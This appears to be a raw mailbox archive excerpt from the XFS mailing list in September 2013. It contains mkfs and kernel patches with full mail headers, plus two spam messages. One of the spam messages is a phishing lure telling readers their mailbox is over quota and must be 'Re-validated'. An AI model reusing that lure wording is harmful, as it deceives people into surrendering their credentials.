bits=256 verify=NO); Sun, 29 Sep 2013 16:50:43 +1000 Message-ID: <1380437441.3811.9.camel@ThinkPad-T5421> Subject: [PATCH v2] xfsprogs: make log/size consistent for mkfs's -s option From: Li Zhong X-ASG-Orig-Subj: [PATCH v2] xfsprogs: make log/size consistent for mkfs's -s option To: Eric Sandeen Cc: xfsprogs Date: Sun, 29 Sep 2013 14:50:41 +0800 In-Reply-To: <5245C07A.3000700@sandeen.net> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092906-3568-0000-0000-000004503D33 X-Barracuda-Connect: e23smtp09.au.ibm.com[202.81.31.142] X-Barracuda-Start-Time: 1380437449 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141018 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- It seems using -s log is not able to set the sectsz correctly. Because slflag is set but ignored by later codes, so the advertised sector size of the device is used instead. $ mkfs.xfs -f -s size=4096 /dev/sdd meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks = sectsz=4096 attr=2, projid32bit=1 ...... $ mkfs.xfs -f -s log=12 /dev/sdd meta-data=/dev/sdd isize=256 agcount=2, agsize=4096 blks = sectsz=2048 attr=2, projid32bit=1 ...... Signed-off-by: Li Zhong --- v2: fix an error in v1 found by Eric reviewing the code. mkfs/xfs_mkfs.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index eafbed3..34bf2ff 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -1693,7 +1693,7 @@ main( * ft.sectoralign will never be set. */ sectorsize = blocksize; - } else if (!ssflag) { + } else if (!ssflag && !slflag) { /* * Unless specified manually on the command line use the * advertised sector size of the device. We use the physical @@ -1721,7 +1721,7 @@ _("switching to logical sector size %d\n"), } } - if (ft.sectoralign || !ssflag) { + if (ft.sectoralign || (!ssflag && !slflag)) { sectorlog = libxfs_highbit32(sectorsize); if (loginternal) { lsectorsize = sectorsize; @@ -1731,7 +1731,7 @@ _("switching to logical sector size %d\n"), if (sectorsize < XFS_MIN_SECTORSIZE || sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { - if (ssflag) + if (ssflag || slflag) fprintf(stderr, _("illegal sector size %d\n"), sectorsize); else fprintf(stderr, -- 1.8.1.4 From zhong@linux.vnet.ibm.com Sun Sep 29 04:13:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 850627F54 for ; Sun, 29 Sep 2013 04:13:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 496078F8040 for ; Sun, 29 Sep 2013 02:13:04 -0700 (PDT) X-ASG-Debug-ID: 1380445977-04bdf02f2215b47a0001-NocioJ Received: from e23smtp08.au.ibm.com (e23smtp08.au.ibm.com [202.81.31.141]) by cuda.sgi.com with ESMTP id hs2BnXrZvnN3rMgd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 02:12:59 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 202.81.31.141 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] Received: from /spool/local by e23smtp08.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Sun, 29 Sep 2013 19:12:57 +1000 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/202.81.31.141] Received: from d23dlp02.au.ibm.com (202.81.31.213) by e23smtp08.au.ibm.com (202.81.31.205) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Sun, 29 Sep 2013 19:12:54 +1000 Received: from d23relay05.au.ibm.com (d23relay05.au.ibm.com [9.190.235.152]) by d23dlp02.au.ibm.com (Postfix) with ESMTP id 423D52BB0040 for ; Sun, 29 Sep 2013 19:12:54 +1000 (EST) Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138]) by d23relay05.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8T8u0e16750536 for ; Sun, 29 Sep 2013 18:56:00 +1000 Received: from d23av02.au.ibm.com (localhost [127.0.0.1]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8T9CrPJ001003 for ; Sun, 29 Sep 2013 19:12:53 +1000 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8T9CpiH000946 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sun, 29 Sep 2013 19:12:53 +1000 Message-ID: <1380445971.3811.14.camel@ThinkPad-T5421> Subject: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs From: Li Zhong X-ASG-Orig-Subj: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs To: Eric Sandeen Cc: xfsprogs Date: Sun, 29 Sep 2013 17:12:51 +0800 In-Reply-To: <1380437441.3811.9.camel@ThinkPad-T5421> References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092909-5140-0000-0000-000003E8136B X-Barracuda-Connect: e23smtp08.au.ibm.com[202.81.31.141] X-Barracuda-Start-Time: 1380445978 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 As Eric suggested, we could set both of the size/log flags after we have parsed the options - and from there on it simply means "manually set". After that, we could use just one flag, e.g. *sflag, to check whether the corresponding value is manually set or not. Signed-off-by: Li Zhong --- mkfs/xfs_mkfs.c | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 34bf2ff..aa3f391 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -1667,11 +1667,26 @@ main( dfile = xi.dname; /* + * Later code wants to know if the user manually set a value. + * There are two ways to specify on the cmdline; as size or as a log. + * if either was used, set both flags - from here on it simply means + * "manually set" + */ + if (bsflag || blflag) + bsflag = blflag = 1; + if (ssflag || slflag) + ssflag = slflag = 1; + if (isflag || ilflag) + isflag = ilflag = 1; + if (nsflag || nlflag) + nsflag = nlflag = 1; + + /* * Blocksize and sectorsize first, other things depend on them * For RAID4/5/6 we want to align sector size and block size, * so we need to start with the device geometry extraction too. */ - if (!blflag && !bsflag) { + if (!bsflag) { blocklog = XFS_DFL_BLOCKSIZE_LOG; blocksize = 1 << XFS_DFL_BLOCKSIZE_LOG; } @@ -1693,7 +1708,7 @@ main( * ft.sectoralign will never be set. */ sectorsize = blocksize; - } else if (!ssflag && !slflag) { + } else if (!ssflag) { /* * Unless specified manually on the command line use the * advertised sector size of the device. We use the physical @@ -1721,7 +1736,7 @@ _("switching to logical sector size %d\n"), } } - if (ft.sectoralign || (!ssflag && !slflag)) { + if (ft.sectoralign || !ssflag) { sectorlog = libxfs_highbit32(sectorsize); if (loginternal) { lsectorsize = sectorsize; @@ -1731,7 +1746,7 @@ _("switching to logical sector size %d\n"), if (sectorsize < XFS_MIN_SECTORSIZE || sectorsize > XFS_MAX_SECTORSIZE || sectorsize > blocksize) { - if (ssflag || slflag) + if (ssflag) fprintf(stderr, _("illegal sector size %d\n"), sectorsize); else fprintf(stderr, @@ -1760,7 +1775,7 @@ _("block size %d cannot be smaller than logical sector size %d\n"), */ if (crcs_enabled) { /* minimum inode size is 512 bytes, ipflag checked later */ - if ((isflag || ilflag) && inodelog < XFS_DINODE_DFL_CRC_LOG) { + if (isflag && inodelog < XFS_DINODE_DFL_CRC_LOG) { fprintf(stderr, _("Minimum inode size for CRCs is %d bytes\n"), 1 << XFS_DINODE_DFL_CRC_LOG); @@ -1804,7 +1819,7 @@ _("32 bit Project IDs always enabled on CRC enabled filesytems\n")); } } - if (nsflag || nlflag) { + if (nsflag) { if (dirblocksize < blocksize || dirblocksize > XFS_MAX_BLOCKSIZE) { fprintf(stderr, _("illegal directory block size %d\n"), @@ -1850,7 +1865,7 @@ _("32 bit Project IDs always enabled on CRC enabled filesytems\n")); if (ipflag) { inodelog = blocklog - libxfs_highbit32(inopblock); isize = 1 << inodelog; - } else if (!ilflag && !isflag) { + } else if (!isflag) { inodelog = crcs_enabled ? XFS_DINODE_DFL_CRC_LOG : XFS_DINODE_DFL_LOG; isize = 1 << inodelog; -- 1.8.1.4 From tgreene@paterson.k12.nj.us Sun Sep 29 04:34:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.5 required=5.0 tests=EMAIL_URI_PHISH,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D6F9B7F56 for ; Sun, 29 Sep 2013 04:34:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B26AE8F8035 for ; Sun, 29 Sep 2013 02:34:02 -0700 (PDT) X-ASG-Debug-ID: 1380447240-04cb6c153d15652a0001-NocioJ Received: from mail.paterson.k12.nj.us (excha4-n1.paterson.k12.nj.us [204.8.198.37]) by cuda.sgi.com with ESMTP id H974NmO0feyOdf2j for ; Sun, 29 Sep 2013 02:34:01 -0700 (PDT) X-Barracuda-Envelope-From: tgreene@paterson.k12.nj.us X-Barracuda-Apparent-Source-IP: 204.8.198.37 Received: from exch10-hub2.paterson.k12.nj.us (10.76.7.215) by EXCHA4-N1.paterson.k12.nj.us (10.76.7.16) with Microsoft SMTP Server (TLS) id 14.3.146.0; Sun, 29 Sep 2013 04:39:50 -0400 Received: from Exch10-mb3.paterson.k12.nj.us ([169.254.3.57]) by EXCH10-HUB2.paterson.k12.nj.us ([10.76.7.215]) with mapi id 14.03.0146.000; Sun, 29 Sep 2013 04:39:50 -0400 From: "Greene, Tanya" To: "Greene, Tanya" Subject: RE: ADMINISTRATOR HELP DESK Thread-Topic: ADMINISTRATOR HELP DESK X-ASG-Orig-Subj: RE: ADMINISTRATOR HELP DESK Thread-Index: Ac6867xLVvLV30KSR8+HijKaAylXNgAA6oB6 Date: Sun, 29 Sep 2013 08:39:49 +0000 Message-ID: <0FF456CBAA9B324987CEA675439D7EF801151E5A42@EXCH10-MB3.paterson.k12.nj.us> References: <0FF456CBAA9B324987CEA675439D7EF801151DF4AE@EXCH10-MB3.paterson.k12.nj.us> In-Reply-To: <0FF456CBAA9B324987CEA675439D7EF801151DF4AE@EXCH10-MB3.paterson.k12.nj.us> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.76.7.228] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: excha4-n1.paterson.k12.nj.us[204.8.198.37] X-Barracuda-Start-Time: 1380447241 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.34 X-Barracuda-Spam-Status: No, SCORE=2.34 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_ADDR_MATCH, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141020 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.81 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address Your Mailbox Has Exceeded It Storage Limit As Set By Your Administrator fro= m the server, And You Will Not Be Able To Receive New Mails until You Re-V= alidate It click Re-validate .Thank you courtesy =A9 2013 by Intellectual Reserve, Inc. = All rights reserved From jeff.liu@oracle.com Sun Sep 29 05:55:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 395CB7F56 for ; Sun, 29 Sep 2013 05:55:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 27990304039 for ; Sun, 29 Sep 2013 03:55:18 -0700 (PDT) X-ASG-Debug-ID: 1380452117-04cb6c2e9f156dd90001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id LSAx5XDSeYI2zwhZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 03:55:17 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8TAtFQB030965 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 29 Sep 2013 10:55:16 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8TAtEW1023220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 29 Sep 2013 10:55:15 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8TAtESt015281 for ; Sun, 29 Sep 2013 10:55:14 GMT Received: from [192.168.1.104] (/114.248.194.196) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 29 Sep 2013 03:55:14 -0700 Message-ID: <52480744.10606@oracle.com> Date: Sun, 29 Sep 2013 18:56:04 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: get rid of count from xfs_iomap_write_allocate() Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: get rid of count from xfs_iomap_write_allocate() Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1380452117 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141022 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of function variable count from xfs_iomap_write_allocate() as it is unused. Additionally, checkpatch warn me of the following for this change: WARNING: extern prototypes should be avoided in .h files +extern int xfs_iomap_write_allocate(struct xfs_inode *, xfs_off_t, So this patch also remove all extern function prototypes at xfs_iomap.h to suppress it to make this code style in consistent manner in this file. Signed-off-by: Jie Liu --- fs/xfs/xfs_aops.c | 2 +- fs/xfs/xfs_iomap.c | 1 - fs/xfs/xfs_iomap.h | 8 ++++---- 3 files changed, 5 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e51e581..f3f95f0 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -333,7 +333,7 @@ xfs_map_blocks( if (type == XFS_IO_DELALLOC && (!nimaps || isnullstartblock(imap->br_startblock))) { - error = xfs_iomap_write_allocate(ip, offset, count, imap); + error = xfs_iomap_write_allocate(ip, offset, imap); if (!error) trace_xfs_map_blocks_alloc(ip, offset, count, type, imap); return -XFS_ERROR(error); diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index 8d4d49b..521fdf2 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -655,7 +655,6 @@ int xfs_iomap_write_allocate( xfs_inode_t *ip, xfs_off_t offset, - size_t count, xfs_bmbt_irec_t *imap) { xfs_mount_t *mp = ip->i_mount; diff --git a/fs/xfs/xfs_iomap.h b/fs/xfs/xfs_iomap.h index 8061576..411fbb8 100644 --- a/fs/xfs/xfs_iomap.h +++ b/fs/xfs/xfs_iomap.h @@ -21,12 +21,12 @@ struct xfs_inode; struct xfs_bmbt_irec; -extern int xfs_iomap_write_direct(struct xfs_inode *, xfs_off_t, size_t, +int xfs_iomap_write_direct(struct xfs_inode *, xfs_off_t, size_t, struct xfs_bmbt_irec *, int); -extern int xfs_iomap_write_delay(struct xfs_inode *, xfs_off_t, size_t, +int xfs_iomap_write_delay(struct xfs_inode *, xfs_off_t, size_t, struct xfs_bmbt_irec *); -extern int xfs_iomap_write_allocate(struct xfs_inode *, xfs_off_t, size_t, +int xfs_iomap_write_allocate(struct xfs_inode *, xfs_off_t, struct xfs_bmbt_irec *); -extern int xfs_iomap_write_unwritten(struct xfs_inode *, xfs_off_t, size_t); +int xfs_iomap_write_unwritten(struct xfs_inode *, xfs_off_t, size_t); #endif /* __XFS_IOMAP_H__*/ -- 1.7.9.5 From laureasia@gmail.com Sun Sep 29 09:14:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 54A9D7F54 for ; Sun, 29 Sep 2013 09:14:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 43D2E8F8035 for ; Sun, 29 Sep 2013 07:14:30 -0700 (PDT) X-ASG-Debug-ID: 1380464067-04cb6c2e9f15787e0001-w1Z2WR Received: from smtp.0-ik-4.com (61609hd55031.ikexpress.com [213.246.55.31]) by cuda.sgi.com with ESMTP id vdTzYtKu30vWr0fo for ; Sun, 29 Sep 2013 07:14:27 -0700 (PDT) X-Barracuda-Envelope-From: laureasia@gmail.com X-Barracuda-Apparent-Source-IP: 213.246.55.31 Received: from Utilisateur-PC ([115.73.118.8]) by smtp.0-ik-4.com with Microsoft SMTPSVC(7.5.7601.17514); Sun, 29 Sep 2013 16:14:25 +0200 Message-ID: <29c03327d4cb28ac4b17831f28a1b043@gmail.com> From: "Mathey-tissot Swiss Watches" To: Subject: =?windows-1252?B?UkU6TG9va2luZyBkaXN0cmlidXRvcixzdG9yZSxkcm9wc2hpcHBpbg==?= =?windows-1252?B?ZyBvZiB3YXRjaGVzIG1hZGUgaW4gU3dpc3M=?= Date: Sun, 29 Sep 2013 21:14:25 +0700 X-ASG-Orig-Subj: =?windows-1252?B?UkU6TG9va2luZyBkaXN0cmlidXRvcixzdG9yZSxkcm9wc2hpcHBpbg==?= =?windows-1252?B?ZyBvZiB3YXRjaGVzIG1hZGUgaW4gU3dpc3M=?= X-Priority: 3 X-Mailer: Exo MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=SPLITOR00A_001_15664887D" X-OriginalArrivalTime: 29 Sep 2013 14:14:25.0782 (UTC) FILETIME=[33E7C960:01CEBD1E] X-Barracuda-Connect: 61609hd55031.ikexpress.com[213.246.55.31] X-Barracuda-Start-Time: 1380464067 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=SPLITOR00A_001_15664887D Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: base64 ICBJTkZPUk1BVElPTg0KDQogICAgICAgICAgICAgICAgICBNYWRhbSwgc2lyLA0KDQogICAgICAg ICAgICAgICAgIFdlIGFyZSBsb29raW5nIGZvciBkaXN0cmlidXRvcnMsIGltcG9ydGVycywgb3Ig RHJvcCBzaGlwcGluZw0KDQogICAgICAgICAgICAgICAtIFlvdSBoYXZlIGEgZGlzdHJpYnV0aW9u IG5ldHdvcmssICBzdG9yZSwgd2Vic2l0ZS4NCg0KICAgICAgICAgICAgICAgLSBZb3UgY2FuIHJl cHJlc2VudCBvdXIgdHdvIG1hcmtzIG9uIHlvdXIgY2l0eSwgc3RhdGUgb3IgcmVnaW9uLg0KICAg ICANCk91ciBNYXRoZXktVGlzc290IHdhdGNoZXMgYW5kIFN3aXNzIE1pbGl0YWlyZSAibWFkZSBp biBTd2lzcyIgYSBncmVhdCBzdWNjZXNzIGluIG1vcmUgdGhhbiAyMCBjb3VudHJpZXMNCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdhbnQgdG8gYmUgcGFydCBv ZiB0aGUgYWR2ZW50dXJlID8NCg0KICAgICAgICAgICAgICAgIE1hdGhleS1UaXNzb3QgKG1hdGhl eS10aXNzb3QubmV0KSAmIFN3aXNzLU1pbGl0YWlyZSAoc3dpc3MtbWlsaXRhaXJlLm5ldCkNCg0K ICAgICAgICAgICAgICAgICAgICAgIGRvIFlvdSBoYXZlIGEgcXVlc3Rpb24sIGluZm9ybWF0aW9u cywgY29uZGl0aW9ucyBvZiB0aGUgcGFydG5lcnNoaXAuDQogICAgICAgICAgIFlvdSBjYW4gc2Vu ZCBtZSB5b3VyIHF1ZXN0aW9ucyBieSAgIG1haWwgdG8gIGFuZGVyY29tbXVuaWNhdGlvbkBnbWFp bC5jb20NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgDQogIE5JQyBUZWFtIFNBIEdlbmV2YSBTd2lzcw0KDQogICAgICAgSmFjcXVl cyBHDQogTWF0aGV5LXRpc3NvdC5uZXQNCiANClNvdXJjaW5nIERlcHQNCg0KQnJhc2lsIEV4Y2hh bmdlIEdyb3VwIDM1IEJlYXVmb3J0IENvdXJ0IEFkbWlyYWxzIFdheSBTb3V0aCBRdWF5IFdhdGVy c2lkZSBFMTQgOVhMDQogTE9ORE9OIFVLICBDb21wYW55IE5vLiAwNzAxNjcxNyAgICAgaHR0cDov L3d3dy5icmFzaWxleGNoYW5nZWdyb3VwLmNvbS8gDQogDQogDQogDQogDQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAg ------=SPLITOR00A_001_15664887D Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: base64 PEhFQUQ+PFRJVExFPjwvVElUTEU+DQo8TUVUQSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9 aXNvLTg4NTktMSIgaHR0cC1lcXVpdj1jb250ZW50LXR5cGU+PC9IRUFEPg0KPEJPRFk+DQo8UCBj bGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48U1BBTiBzdHlsZT0i Rk9OVC1TSVpFOiAxMHB0OyBGT05ULUZBTUlMWTogJ1ZlcmRhbmEnLCdzYW5zLXNlcmlmJzsgTElO RS1IRUlHSFQ6IDExNSU7IG1zby1iaWRpLWZvbnQtc2l6ZTogMTEuMHB0OyBtc28tYW5zaS1sYW5n dWFnZTogRlItQkU7IG1zby1mYXJlYXN0LWZvbnQtZmFtaWx5OiBDYWxpYnJpOyBtc28tZmFyZWFz dC1sYW5ndWFnZTogRU4tVVM7IG1zby1iaWRpLWZvbnQtZmFtaWx5OiAnVGltZXMgTmV3IFJvbWFu JzsgbXNvLWJpZGktbGFuZ3VhZ2U6IEFSLVNBIj48U1BBTiBzdHlsZT0iRk9OVC1TSVpFOiA4cHQ7 IEZPTlQtRkFNSUxZOiAnVmVyZGFuYScsJ3NhbnMtc2VyaWYnOyBMSU5FLUhFSUdIVDogMTE1JTsg bXNvLWJpZGktZm9udC1zaXplOiAxMS4wcHQiPjxGT05UIHNpemU9MT48U1BBTiBjbGFzcz1ocHM+ PFU+PFNQQU4gbGFuZz1FTiBzdHlsZT0ibXNvLWFuc2ktbGFuZ3VhZ2U6IEVOIj48Rk9OVCBzaXpl PTM+PEZPTlQgZmFjZT1DYWxpYnJpPiZuYnNwOyBJTkZPUk1BVElPTjw/eG1sOm5hbWVzcGFjZSBw cmVmaXggPSAibyIgbnMgPSAidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNl IiAvPjxvOnA+PC9vOnA+PC9GT05UPjwvRk9OVD48L1NQQU4+PC9VPjwvU1BBTj48L1A+DQo8UCBj bGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48U1BBTiBjbGFzcz1o cHM+PFU+PFNQQU4gbGFuZz1FTiBzdHlsZT0ibXNvLWFuc2ktbGFuZ3VhZ2U6IEVOIj48bzpwPjxT UEFOIHN0eWxlPSJURVhULURFQ09SQVRJT046IG5vbmUiPjxGT05UIHNpemU9MyBmYWNlPUNhbGli cmk+PC9GT05UPjwvU1BBTj48L286cD48L1NQQU4+PC9VPjwvU1BBTj48L1A+DQo8UCBjbGFzcz1N c29Ob3JtYWwgc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAxMHB0Ij48U1BBTiBsYW5nPUVOIHN0eWxl PSJtc28tYW5zaS1sYW5ndWFnZTogRU4iPjxCUj48Rk9OVCBzaXplPTM+PEZPTlQgZmFjZT1DYWxp YnJpPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8U1BBTiBj bGFzcz1ocHM+TWFkYW0sPC9TUEFOPiA8U1BBTiBjbGFzcz1ocHM+c2lyLDwvU1BBTj48QlI+PEJS PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyA8U1RST05HPjxTUEFOIGNs 